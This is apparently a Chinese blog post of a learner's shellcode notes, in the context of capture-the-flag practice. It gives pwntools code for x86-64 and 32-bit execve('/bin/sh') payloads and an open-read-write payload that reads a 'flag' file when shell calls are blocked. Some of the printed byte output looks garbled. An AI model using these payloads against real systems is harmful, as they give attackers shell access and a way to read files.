AOSP卷轴

shellcode

初学完汇编，简单写了一下shellcode (x86-64)

Linux Syscall Reference

x86-64: https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

x86: http://syscalls.kernelgrok.com/

from pwn import *

sc = ''
sc += 'mov rax, 0x68732f6e69622f\n'
sc += 'push rax\n'
sc += 'mov rdi, rsp\n'
sc += 'mov rsi,0x0\n'
sc += 'mov rdx,0x0\n'
sc += 'push 0x3b\n'
sc += 'pop rax\n'
sc += 'syscall\n'

print 'length of prime shellcode: ',len(asm(sc))
#length of prime shellcode:  33
print 'shellcode:'
print asm(sc)
#H\xb8/bin/sh\x00PH\x89\x00\x00\x00H\x00\x00\x00\x00j;X\x0f\x05

当 system(“/bin/sh”)被限制不能调用时。可以通过 open-read-write 来读取制定目录下的文件内容。

context.arch='amd64'
#sc = asm(shellcraft.amd64.linux.sh())
shellcode = shellcraft.amd64.pushstr("flag\x00")
shellcode += shellcraft.amd64.linux.open('rsp',0,0)
shellcode += shellcraft.amd64.linux.read('rax','rsp',20)
shellcode += shellcraft.amd64.linux.write(1, 'rsp', 20)

print shellcode

打印这段shellcode读汇编指令，加深用汇编来读文件的理解。

    /* push 'flag\x00' */
    push 0x67616c66
    /* open(file='rsp', oflag=0, mode=0) */
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call open() */
    push SYS_open /* 2 */
    pop rax
    syscall
    /* call read('rax', 'rsp', 20) */
    mov rdi, rax
    xor eax, eax /* SYS_read */
    push 0x14
    pop rdx
    mov rsi, rsp
    syscall
    /* write(fd=1, buf='rsp', n=20) */
    push 1
    pop rdi
    push 0x14
    pop rdx
    mov rsi, rsp
    /* call write() */
    push SYS_write /* 1 */
    pop rax
    syscall

32bit ELF shellcode (self design)

sc = ''
sc += 'push 0x68732f\n'
sc += 'push 0x6e69622f\n'
sc +=  'mov ebx, esp\n'
sc += 'xor ecx, ecx\n'
sc += 'xor edx, edx\n'
sc += 'push 0xb\n'
sc += 'pop eax\n'
sc += 'int 0x80\n'


sc = asm(sc)
print len(sc)
#21
print sc
#h/sh\x00h/bin\x89?1?1?j\x0bX̀

---

转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论。